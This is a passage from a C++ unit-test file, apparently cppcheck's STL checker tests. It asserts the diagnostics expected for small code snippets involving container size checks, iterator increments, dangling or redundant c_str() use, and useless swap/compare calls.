f()\\n\"\n \"{\\n\"\n \" std::list x;\\n\"\n \" if (1 > x.size()) {}\\n\"\n \"}\";\n check(code, dinit(CheckOptions, $.cppstandard = Standards::CPP03));\n ASSERT_EQUALS(\"[test.cpp:4:13]: (performance) Possible inefficient checking for 'x' emptiness. [stlSize]\\n\", errout_str());\n check(code);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n {\n const char code[] = \"void f()\\n\"\n \"{\\n\"\n \" std::list x;\\n\"\n \" if (x.size()) {}\\n\"\n \"}\";\n check(code, dinit(CheckOptions, $.cppstandard = Standards::CPP03));\n ASSERT_EQUALS(\"[test.cpp:4:9]: (performance) Possible inefficient checking for 'x' emptiness. [stlSize]\\n\", errout_str());\n check(code);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n {\n const char code[] = \"void f()\\n\"\n \"{\\n\"\n \" std::list x;\\n\"\n \" if (!x.size()) {}\\n\"\n \"}\";\n check(code, dinit(CheckOptions, $.cppstandard = Standards::CPP03));\n ASSERT_EQUALS(\"[test.cpp:4:10]: (performance) Possible inefficient checking for 'x' emptiness. [stlSize]\\n\", errout_str());\n check(code);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n check(\"void f()\\n\"\n \"{\\n\"\n \" std::list x;\\n\"\n \" fun(x.size());\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n {\n const char code[] =\"void f()\\n\"\n \"{\\n\"\n \" std::list x;\\n\"\n \" fun(!x.size());\\n\"\n \"}\";\n check(code, dinit(CheckOptions, $.cppstandard = Standards::CPP03));\n ASSERT_EQUALS(\"[test.cpp:4:10]: (performance) Possible inefficient checking for 'x' emptiness. [stlSize]\\n\", errout_str());\n check(code);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n {\n const char code[] = \"void f()\\n\"\n \"{\\n\"\n \" std::list x;\\n\"\n \" fun(a && x.size());\\n\"\n \"}\";\n check(code, dinit(CheckOptions, $.cppstandard = Standards::CPP03));\n ASSERT_EQUALS(\"[test.cpp:4:14]: (performance) Possible inefficient checking for 'x' emptiness. [stlSize]\\n\", errout_str());\n check(code);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n check(\"void f() {\\n\" // #4039\n \" std::list x;\\n\"\n \" fun(width % x.size() != 0);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #4584\n check(\"void f() {\\n\"\n \" std::list x;\\n\"\n \" if (foo + 1 > x.size()) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"void f() {\\n\"\n \" std::list x;\\n\"\n \" if (x.size() < 1 + foo) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void size2() {\n const char code[] = \"struct Fred {\\n\"\n \" std::list x;\\n\"\n \"};\\n\"\n \"struct Wilma {\\n\"\n \" Fred f;\\n\"\n \" void foo();\\n\"\n \"};\\n\"\n \"void Wilma::foo()\\n\"\n \"{\\n\"\n \" if (f.x.size() == 0) {}\\n\"\n \"}\";\n check(code, dinit(CheckOptions, $.cppstandard = Standards::CPP03));\n ASSERT_EQUALS(\n \"[test.cpp:10:11]: (performance) Possible inefficient checking for 'x' emptiness. [stlSize]\\n\"\n \"[test.cpp:10:11]: (performance) Possible inefficient checking for 'x' emptiness. [stlSize]\\n\", // duplicate\n errout_str());\n\n check(code);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void size3() {\n {\n const char code[] = \"namespace N {\\n\"\n \" class Zzz {\\n\"\n \" public:\\n\"\n \" std::list x;\\n\"\n \" };\\n\"\n \"}\\n\"\n \"using namespace N;\\n\"\n \"Zzz * zzz;\\n\"\n \"int main() {\\n\"\n \" if (zzz->x.size() > 0) { }\\n\"\n \"}\";\n check(code, dinit(CheckOptions, $.cppstandard = Standards::CPP03));\n ASSERT_EQUALS(\n \"[test.cpp:10:14]: (performance) Possible inefficient checking for 'x' emptiness. [stlSize]\\n\"\n \"[test.cpp:10:14]: (performance) Possible inefficient checking for 'x' emptiness. [stlSize]\\n\", // duplicate\n errout_str());\n }\n\n {\n const char code[] = \"namespace N {\\n\"\n \" class Zzz {\\n\"\n \" public:\\n\"\n \" std::list x;\\n\"\n \" };\\n\"\n \"}\\n\"\n \"using namespace N;\\n\"\n \"int main() {\\n\"\n \" Zzz * zzz;\\n\"\n \" if (zzz->x.size() > 0) { }\\n\"\n \"}\";\n check(code, dinit(CheckOptions, $.cppstandard = Standards::CPP03));\n ASSERT_EQUALS(\n \"[test.cpp:10:14]: (performance) Possible inefficient checking for 'x' emptiness. [stlSize]\\n\"\n \"[test.cpp:10:14]: (performance) Possible inefficient checking for 'x' emptiness. [stlSize]\\n\", // duplicate\n errout_str());\n\n check(code);\n ASSERT_EQUALS(\"\", errout_str());\n }\n }\n\n void size4() { // #2652 - don't warn about vector/deque\n check(\"void f(std::vector &v) {\\n\"\n \" if (v.size() > 0U) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::deque &v) {\\n\"\n \" if (v.size() > 0U) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::array &a) {\\n\"\n \" if (a.size() > 0U) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void redundantCondition1() {\n check(\"void f(string haystack)\\n\"\n \"{\\n\"\n \" if (haystack.find(needle) != haystack.end())\\n\"\n \" haystack.remove(needle);\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:9]: (style) Redundant checking of STL container element existence before removing it. [redundantIfRemove]\\n\", errout_str());\n }\n\n void missingInnerComparison1() {\n check(\"void f(std::set &ints) {\\n\"\n \" for (std::set::iterator it = ints.begin(); it != ints.end(); ++it) {\\n\"\n \" if (a) {\\n\"\n \" it++;\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:13] -> [test.cpp:2:71]: (warning) Missing bounds check for extra iterator increment in loop. [StlMissingComparison]\\n\", errout_str());\n\n check(\"void f(std::map &ints) {\\n\"\n \" for (std::map::iterator it = ints.begin(); it != ints.end(); ++it) {\\n\"\n \" ++it->second;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const std::vector &v) {\\n\"\n \" for(std::vector::const_iterator it = v.begin(); it != v.end(); ++it) {\\n\"\n \" if(it+2 != v.end())\\n\"\n \" {\\n\"\n \" ++it;\\n\"\n \" ++it;\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void missingInnerComparison2() {\n check(\"void f(std::set &ints) {\\n\"\n \" for (std::set::iterator it = ints.begin(); it != ints.end(); ++it) {\\n\"\n \" if (a) {\\n\"\n \" it++;\\n\"\n \" if (it == ints.end())\\n\"\n \" return;\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void missingInnerComparison3() {\n check(\"void f(std::set &ints) {\\n\"\n \" for (std::set::iterator it = ints.begin(); it != ints.end(); ++it) {\\n\"\n \" for (std::set::iterator it = ints2.begin(); it != ints2.end(); ++it)\\n\"\n \" { }\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void missingInnerComparison4() {\n check(\"function f1(std::list &l1) {\\n\"\n \" for(std::list::iterator i = l1.begin(); i != l1.end(); i++) {\\n\"\n \" if (*i == 44) {\\n\"\n \" l1.insert(++i, 55);\\n\"\n \" break;\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:23]: (style) Consider using std::find_if algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n check(\"function f1(std::list &l1) {\\n\"\n \" for(std::list::iterator i = l1.begin(); i != l1.end(); i++) {\\n\"\n \" if (*i == 44) {\\n\"\n \" l1.insert(++i, 55);\\n\"\n \" return;\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:23]: (style) Consider using std::find_if algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n }\n\n void missingInnerComparison5() {\n check(\"void f() {\\n\"\n \" for(it = map1.begin(); it != map1.end(); it++) {\\n\"\n \" str[i++] = (*it).first;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void missingInnerComparison6() {\n check(\"void f(std::string &s) {\\n\"\n \" for(string::iterator it = s.begin(); it != s.end(); it++) {\\n\"\n \" it = s.insert(++it, 0);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void cstr() {\n check(\"void f() {\\n\"\n \" std::string errmsg;\\n\"\n \" throw errmsg.c_str();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (error) Dangerous usage of c_str(). The value returned by c_str() is invalid after throwing exception. [stlcstrthrow]\\n\", errout_str());\n\n check(\"const char *get_msg() {\\n\"\n \" std::string errmsg;\\n\"\n \" return errmsg.c_str();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (error) Dangerous usage of c_str(). The value returned by c_str() is invalid after this call. [stlcstr]\\n\", errout_str());\n\n check(\"const char *get_msg() {\\n\"\n \" std::ostringstream errmsg;\\n\"\n \" return errmsg.str().c_str();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (error) Dangerous usage of c_str(). The value returned by c_str() is invalid after this call. [stlcstr]\\n\", errout_str());\n\n check(\"const char *get_msg() {\\n\"\n \" std::string errmsg;\\n\"\n \" return std::string(\\\"ERROR: \\\" + errmsg).c_str();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (error) Dangerous usage of c_str(). The value returned by c_str() is invalid after this call. [stlcstr]\\n\", errout_str());\n\n check(\"const char *get_msg() {\\n\"\n \" std::string errmsg;\\n\"\n \" return (\\\"ERROR: \\\" + errmsg).c_str();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (error) Dangerous usage of c_str(). The value returned by c_str() is invalid after this call. [stlcstr]\\n\", errout_str());\n\n check(\"const char *get_msg() {\\n\"\n \" std::string errmsg;\\n\"\n \" return (\\\"ERROR: \\\" + std::string(\\\"crash me\\\")).c_str();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (error) Dangerous usage of c_str(). The value returned by c_str() is invalid after this call. [stlcstr]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" std::ostringstream errmsg;\\n\"\n \" const char *c = errmsg.str().c_str();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:17]: (error) Dangerous usage of c_str(). The value returned by c_str() is invalid after this call. [stlcstr]\\n\", errout_str());\n\n check(\"std::string f();\\n\"\n \"\\n\"\n \"void foo() {\\n\"\n \" const char *c = f().c_str();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:17]: (error) Dangerous usage of c_str(). The value returned by c_str() is invalid after this call. [stlcstr]\\n\", errout_str());\n\n check(\"class Foo {\\n\"\n \" const char *f();\\n\"\n \"};\\n\"\n \"const char *Foo::f() {\\n\"\n \" std::string s;\\n\"\n \" return s.c_str();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:5]: (error) Dangerous usage of c_str(). The value returned by c_str() is invalid after this call. [stlcstr]\\n\", errout_str());\n\n check(\"class Foo {\\n\"\n \" std::string GetVal() const;\\n\"\n \"};\\n\"\n \"const char *f() {\\n\"\n \" Foo f;\\n\"\n \" return f.GetVal().c_str();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:5]: (error) Dangerous usage of c_str(). The value returned by c_str() is invalid after this call. [stlcstr]\\n\", errout_str());\n\n check(\"const char* foo() {\\n\"\n \" static std::string text;\\n\"\n \" text = \\\"hello world\\\\n\\\";\\n\"\n \" return text.c_str();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str()); // #3427\n\n // Implicit conversion back to std::string\n check(\"std::string get_msg() {\\n\"\n \" std::string errmsg;\\n\"\n \" return errmsg.c_str();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (performance) Returning the result of c_str() in a function that returns std::string is slow and redundant. [stlcstrReturn]\\n\", errout_str());\n\n check(\"const std::string& get_msg() {\\n\"\n \" std::string errmsg;\\n\"\n \" return errmsg.c_str();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (performance) Returning the result of c_str() in a function that returns std::string is slow and redundant. [stlcstrReturn]\\n\", errout_str());\n\n check(\"class Foo {\\n\"\n \" std::string GetVal() const;\\n\"\n \"};\\n\"\n \"std::string f() {\\n\"\n \" Foo f;\\n\"\n \" return f.GetVal().c_str();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:5]: (performance) Returning the result of c_str() in a function that returns std::string is slow and redundant. [stlcstrReturn]\\n\", errout_str());\n\n check(\"std::string get_msg() {\\n\"\n \" std::string errmsg;\\n\"\n \" return errmsg;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"std::string get_msg() {\\n\" // #3678\n \" MyStringClass errmsg;\\n\"\n \" return errmsg.c_str();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void Foo1(const std::string& str) {}\\n\"\n \"void Foo2(const char* c, const std::string str) {}\\n\"\n \"void Foo3(std::string& rstr) {}\\n\"\n \"void Foo4(std::string str, const std::string& str) {}\\n\"\n \"void Bar() {\\n\"\n \" std::string str = \\\"bar\\\";\\n\"\n \" std::stringstream ss(\\\"foo\\\");\\n\"\n \" Foo1(str);\\n\"\n \" Foo1(str.c_str());\\n\"\n \" Foo2(str.c_str(), str);\\n\"\n \" Foo2(str.c_str(), str.c_str());\\n\"\n \" Foo3(str.c_str());\\n\"\n \" Foo4(str, str);\\n\"\n \" Foo4(str.c_str(), str);\\n\"\n \" Foo4(str, str.c_str());\\n\"\n \" Foo4(ss.str(), ss.str().c_str());\\n\"\n \" Foo4(str.c_str(), str.c_str());\\n\"\n \"}\");\n\n ASSERT_EQUALS(\"[test.cpp:9:5]: (performance) Passing the result of c_str() to a function that takes std::string as argument no. 1 is slow and redundant. [stlcstrParam]\\n\"\n \"[test.cpp:11:5]: (performance) Passing the result of c_str() to a function that takes std::string as argument no. 2 is slow and redundant. [stlcstrParam]\\n\"\n \"[test.cpp:14:5]: (performance) Passing the result of c_str() to a function that takes std::string as argument no. 1 is slow and redundant. [stlcstrParam]\\n\"\n \"[test.cpp:15:5]: (performance) Passing the result of c_str() to a function that takes std::string as argument no. 2 is slow and redundant. [stlcstrParam]\\n\"\n \"[test.cpp:16:5]: (performance) Passing the result of c_str() to a function that takes std::string as argument no. 2 is slow and redundant. [stlcstrParam]\\n\"\n \"[test.cpp:17:5]: (performance) Passing the result of c_str() to a function that takes std::string as argument no. 1 is slow and redundant. [stlcstrParam]\\n\"\n \"[test.cpp:17:5]: (performance) Passing the result of c_str() to a function that takes std::string as argument no. 2 is slow and redundant. [stlcstrParam]\\n\", errout_str());\n\n check(\"void Foo1(const std::string& str) {}\\n\"\n \"void Foo2(char* c, const std::string str) {}\\n\"\n \"void Bar() {\\n\"\n \" std::string str = \\\"bar\\\";\\n\"\n \" Foo1(str, foo);\\n\" // Don't crash\n \" Foo2(str.c_str());\\n\" // Don't crash\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct Foo {\\n\"\n \" void func(std::string str) const {}\\n\"\n \" static void sfunc(std::string str) {}\\n\"\n \"};\\n\"\n \"void func(std::string str) {}\\n\"\n \"void Bar() {\\n\"\n \" std::string str = \\\"bar\\\";\\n\"\n \" Foo foo;\\n\"\n \" func(str.c_str());\\n\"\n \" Foo::sfunc(str.c_str());\\n\"\n \" foo.func(str.c_str());\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:9:5]: (performance) Passing the result of c_str() to a function that takes std::string as argument no. 1 is slow and redundant. [stlcstrParam]\\n\"\n \"[test.cpp:10:10]: (performance) Passing the result of c_str() to a function that takes std::string as argument no. 1 is slow and redundant. [stlcstrParam]\\n\"\n \"[test.cpp:11:9]: (performance) Passing the result of c_str() to a function that takes std::string as argument no. 1 is slow and redundant. [stlcstrParam]\\n\",\n errout_str());\n\n check(\"void f(const std::string& s);\\n\" // #8336\n \"struct T {\\n\"\n \" std::string g();\\n\"\n \" std::string a[1];\\n\"\n \" struct U { std::string s; } u;\"\n \"};\\n\"\n \"namespace N { namespace O { std::string s; } }\\n\"\n \"void g(const std::vector& v, T& t) {\\n\"\n \" for (std::vector::const_iterator it = v.begin(); it != v.end(); ++it)\\n\"\n \" f(it->c_str());\\n\"\n \" f(v.begin()->c_str());\\n\"\n \" f(t.g().c_str());\\n\"\n \" f(t.a[0].c_str());\\n\"\n \" f(t.u.s.c_str());\\n\"\n \" f(N::O::s.c_str());\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:9:9]: (performance) Passing the result of c_str() to a function that takes std::string as argument no. 1 is slow and redundant. [stlcstrParam]\\n\"\n \"[test.cpp:10:5]: (performance) Passing the result of c_str() to a function that takes std::string as argument no. 1 is slow and redundant. [stlcstrParam]\\n\"\n \"[test.cpp:11:5]: (performance) Passing the result of c_str() to a function that takes std::string as argument no. 1 is slow and redundant. [stlcstrParam]\\n\"\n \"[test.cpp:12:5]: (performance) Passing the result of c_str() to a function that takes std::string as argument no. 1 is slow and redundant. [stlcstrParam]\\n\"\n \"[test.cpp:13:5]: (performance) Passing the result of c_str() to a function that takes std::string as argument no. 1 is slow and redundant. [stlcstrParam]\\n\"\n \"[test.cpp:14:5]: (performance) Passing the result of c_str() to a function that takes std::string as argument no. 1 is slow and redundant. [stlcstrParam]\\n\",\n errout_str());\n\n check(\"void svgFile(const std::string &content, const std::string &fileName, const double end = 1000., const double start = 0.);\\n\"\n \"void Bar(std::string filename) {\\n\"\n \" std::string str = \\\"bar\\\";\\n\"\n \" std::ofstream svgFile(filename.c_str(), std::ios::trunc);\\n\"\n \" svgFile << \\\"test\\\";\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void Foo(const char* p) {}\\n\"\n \"void Foo(const std::string& str) {Foo(str.c_str());}\\n\" // Overloaded\n \"void Bar() {\\n\"\n \" std::string str = \\\"bar\\\";\\n\"\n \" Foo(str);\\n\"\n \" Foo(str.c_str());\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int atoi(const std::string& str) {\\n\" // #3729: Don't suggest recursive call\n \" return atoi(str.c_str());\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"std::string hello()\\n\"\n \"{\\n\"\n \" return \\\"hello\\\";\\n\"\n \"}\\n\"\n \"\\n\"\n \"const char *f()\\n\"\n \"{\\n\"\n \" return hello().c_str();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:8:5]: (error) Dangerous usage of c_str(). The value returned by c_str() is invalid after this call. [stlcstr]\\n\", errout_str());\n\n check(\"class Fred {\\n\"\n \" std::string hello();\\n\"\n \" const char *f();\\n\"\n \"};\\n\"\n \"std::string Fred::hello()\\n\"\n \"{\\n\"\n \" return \\\"hello\\\";\\n\"\n \"}\\n\"\n \"const char *Fred::f()\\n\"\n \"{\\n\"\n \" return hello().c_str();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:11:5]: (error) Dangerous usage of c_str(). The value returned by c_str() is invalid after this call. [stlcstr]\\n\", errout_str());\n\n // #4183 - using MyStringClass.c_str()\n check(\"void a(const std::string &str);\\n\"\n \"\\n\"\n \"void b() {\\n\"\n \" MyStringClass s;\\n\"\n \" a(s.c_str());\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"std::string Format(const char * name) {\\n\" // #4938\n \" return String::Format(\\\"%s:\\\", name).c_str();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #7480\n check(\"struct InternalMapInfo {\\n\"\n \" std::string author;\\n\"\n \"};\\n\"\n \"const char* GetMapAuthor(int index) {\\n\"\n \" const InternalMapInfo* mapInfo = &internal_getMapInfo;\\n\"\n \" return mapInfo->author.c_str();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct InternalMapInfo {\\n\"\n \" std::string author;\\n\"\n \"};\\n\"\n \"std::string GetMapAuthor(int index) {\\n\"\n \" const InternalMapInfo* mapInfo = &internal_getMapInfo;\\n\"\n \" return mapInfo->author.c_str();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:5]: (performance) Returning the result of c_str() in a function that returns std::string is slow and redundant. [stlcstrReturn]\\n\", errout_str());\n\n check(\"struct InternalMapInfo {\\n\"\n \" std::string author;\\n\"\n \"};\\n\"\n \"const char* GetMapAuthor(int index) {\\n\"\n \" const InternalMapInfo mapInfo = internal_getMapInfo;\\n\"\n \" return mapInfo.author.c_str();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:5]: (error) Dangerous usage of c_str(). The value returned by c_str() is invalid after this call. [stlcstr]\\n\", errout_str());\n\n check(\"struct S {\\n\" // #7656\n \" std::string data;\\n\"\n \"};\\n\"\n \"const S& getS();\\n\"\n \"const char* test() {\\n\"\n \" const struct S &s = getS();\\n\"\n \" return s.data.c_str();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S {\\n\" // #7930\n \" std::string data;\\n\"\n \"};\\n\"\n \"const char* test() {\\n\"\n \" S s;\\n\"\n \" std::string &ref = s.data;\\n\"\n \" return ref.c_str();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:5]: (error) Dangerous usage of c_str(). The value returned by c_str() is invalid after this call. [stlcstr]\\n\", errout_str());\n\n check(\"void f(const wchar_t* w, int i = 0, ...);\\n\" // #10357\n \"void f(const std::string& s, int i = 0);\\n\"\n \"void g(const std::wstring& p) {\\n\"\n \" f(p.c_str());\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S {\\n\" //#9161\n \" const char* f() const noexcept {\\n\"\n \" return (\\\"\\\" + m).c_str();\\n\"\n \" }\\n\"\n \" std::string m;\\n\"\n \"};\\n\", dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:3:9]: (error) Dangerous usage of c_str(). The value returned by c_str() is invalid after this call. [stlcstr]\\n\", errout_str());\n\n check(\"struct S {\\n\" // #10493\n \" void f(const char** pp);\\n\"\n \" std::string s;\\n\"\n \"};\\n\"\n \"void S::f(const char** pp) {\\n\"\n \" try {\\n\"\n \" *pp = member.c_str();\\n\"\n \" }\\n\"\n \" catch (...) {\\n\"\n \" s = \\\"xyz\\\";\\n\"\n \" *pp = member.c_str();\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"std::string f(const std::string& a) {\\n\"\n \" std::string b(a.c_str());\\n\"\n \" return b;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:17]: (performance) Constructing a std::string from the result of c_str() is slow and redundant. [stlcstrConstructor]\\n\", errout_str());\n\n check(\"std::string f(const std::string& a) {\\n\"\n \" std::string b{ a.c_str() };\\n\"\n \" return b;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:17]: (performance) Constructing a std::string from the result of c_str() is slow and redundant. [stlcstrConstructor]\\n\", errout_str());\n\n check(\"std::string f(const std::string& a) {\\n\"\n \" std::string b = a.c_str();\\n\"\n \" return b;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:17]: (performance) Assigning the result of c_str() to a std::string is slow and redundant. [stlcstrAssignment]\\n\", errout_str());\n\n check(\"std::string g(const std::string& a, const std::string& b) {\\n\"\n \" return a + b.c_str();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:14]: (performance) Concatenating the result of c_str() and a std::string is slow and redundant. [stlcstrConcat]\\n\", errout_str());\n\n check(\"std::string g(const std::string& a, const std::string& b) {\\n\"\n \" return a.c_str() + b;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:22]: (performance) Concatenating the result of c_str() and a std::string is slow and redundant. [stlcstrConcat]\\n\", errout_str());\n\n check(\"std::vector v;\\n\" // don't crash\n \"int i;\\n\"\n \"void f() {\\n\"\n \" const double* const QM_R__ buf(v.data() + i);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct T {\\n\" // #7515\n \" std::string g();\\n\"\n \" std::string a[1];\\n\"\n \" std::vector v;\\n\"\n \"};\\n\"\n \"void f(std::stringstream& strm, const std::string& s, T& t) {\\n\"\n \" strm << s.c_str();\\n\"\n \" strm << \\\"abc\\\" << s.c_str();\\n\"\n \" strm << \\\"abc\\\" << s.c_str() << \\\"def\\\";\\n\"\n \" strm << \\\"abc\\\" << t.g().c_str() << \\\"def\\\";\\n\"\n \" strm << t.a[0].c_str();\\n\"\n \" strm << t.v.begin()->c_str();\\n\"\n \" auto it = t.v.begin()\\n\"\n \" strm << it->c_str();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:7:10]: (performance) Passing the result of c_str() to a stream is slow and redundant. [stlcstrStream]\\n\"\n \"[test.cpp:8:19]: (performance) Passing the result of c_str() to a stream is slow and redundant. [stlcstrStream]\\n\"\n \"[test.cpp:9:19]: (performance) Passing the result of c_str() to a stream is slow and redundant. [stlcstrStream]\\n\"\n \"[test.cpp:10:19]: (performance) Passing the result of c_str() to a stream is slow and redundant. [stlcstrStream]\\n\"\n \"[test.cpp:11:10]: (performance) Passing the result of c_str() to a stream is slow and redundant. [stlcstrStream]\\n\"\n \"[test.cpp:12:10]: (performance) Passing the result of c_str() to a stream is slow and redundant. [stlcstrStream]\\n\"\n \"[test.cpp:14:10]: (performance) Passing the result of c_str() to a stream is slow and redundant. [stlcstrStream]\\n\",\n errout_str());\n\n check(\"struct S { std::string str; };\\n\"\n \"struct T { S s; };\\n\"\n \"struct U { T t[1]; };\\n\"\n \"void f(const T& t, const U& u, std::string& str) {\\n\"\n \" if (str.empty())\\n\"\n \" str = t.s.str.c_str();\\n\"\n \" else\\n\"\n \" str = u.t[0].s.str.c_str();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:6:9]: (performance) Assigning the result of c_str() to a std::string is slow and redundant. [stlcstrAssignment]\\n\"\n \"[test.cpp:8:9]: (performance) Assigning the result of c_str() to a std::string is slow and redundant. [stlcstrAssignment]\\n\",\n errout_str());\n\n check(\"void f(std::string_view);\\n\" // #11547\n \"void g(const std::string & s) {\\n\"\n \" f(s.c_str());\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (performance) Passing the result of c_str() to a function that takes std::string_view as argument no. 1 is slow and redundant. [stlcstrParam]\\n\",\n errout_str());\n\n check(\"std::string_view f(const std::string& s) {\\n\"\n \" std::string_view sv = s.c_str();\\n\"\n \" return sv;\\n\"\n \"}\\n\"\n \"std::string_view g(const std::string& s) {\\n\"\n \" std::string_view sv{ s.c_str() };\\n\"\n \" return sv;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:22]: (performance) Assigning the result of c_str() to a std::string_view is slow and redundant. [stlcstrAssignment]\\n\"\n \"[test.cpp:6:22]: (performance) Constructing a std::string_view from the result of c_str() is slow and redundant. [stlcstrConstructor]\\n\",\n errout_str());\n\n check(\"void f(const std::string& s) {\\n\" // #11819\n \" std::string_view sv(s.data(), 13);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S { std::string x; };\\n\" // #11802\n \"std::vector> global;\\n\"\n \"const char* f() {\\n\"\n \" auto s = std::make_shared();\\n\"\n \" global.push_back(s);\\n\"\n \" return s->x.c_str();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void uselessCalls() {\n check(\"void f()\\n\"\n \"{\\n\"\n \" string s1, s2;\\n\"\n \" s1.swap(s2);\\n\"\n \" s2.swap(s2);\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f()\\n\"\n \"{\\n\"\n \" std::string s1, s2;\\n\"\n \" s1.swap(s2);\\n\"\n \" s2.swap(s2);\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:5:5]: (performance) It is inefficient to swap a object with itself by calling 's2.swap(s2)' [uselessCallsSwap]\\n\", errout_str());\n\n check(\"void f()\\n\"\n \"{\\n\"\n \" std::string s1, s2;\\n\"\n \" s1.compare(s2);\\n\"\n \" s2.compare(s2);\\n\"\n \" s1.compare(s2.c_str());\\n\"\n \" s1.compare(0, s1.size(), s1);\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:5:16]: (warning) It is inefficient to call 's2.compare(s2)' as it always returns 0. [uselessCallsCompare]\\n\", errout_str());\n\n // #7370 False positive uselessCallsCompare on unknown type\n check(\"class ReplayIteratorImpl{\\n\"\n \" int Compare(ReplayIteratorImpl* other) {\\n\"\n \" int cmp;\\n\"\n \" int ret = cursor_->compare(cursor_, other->cursor_, &cmp);\\n\"\n \" return (cmp);\\n\"\n \" }\\n\"\n \" WT_CURSOR *cursor_;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f()\\n\"\n \"{\\n\"\n \" int x=1;\\n\"\n \" std::string s1, s2;\\n\"\n \" s1 = 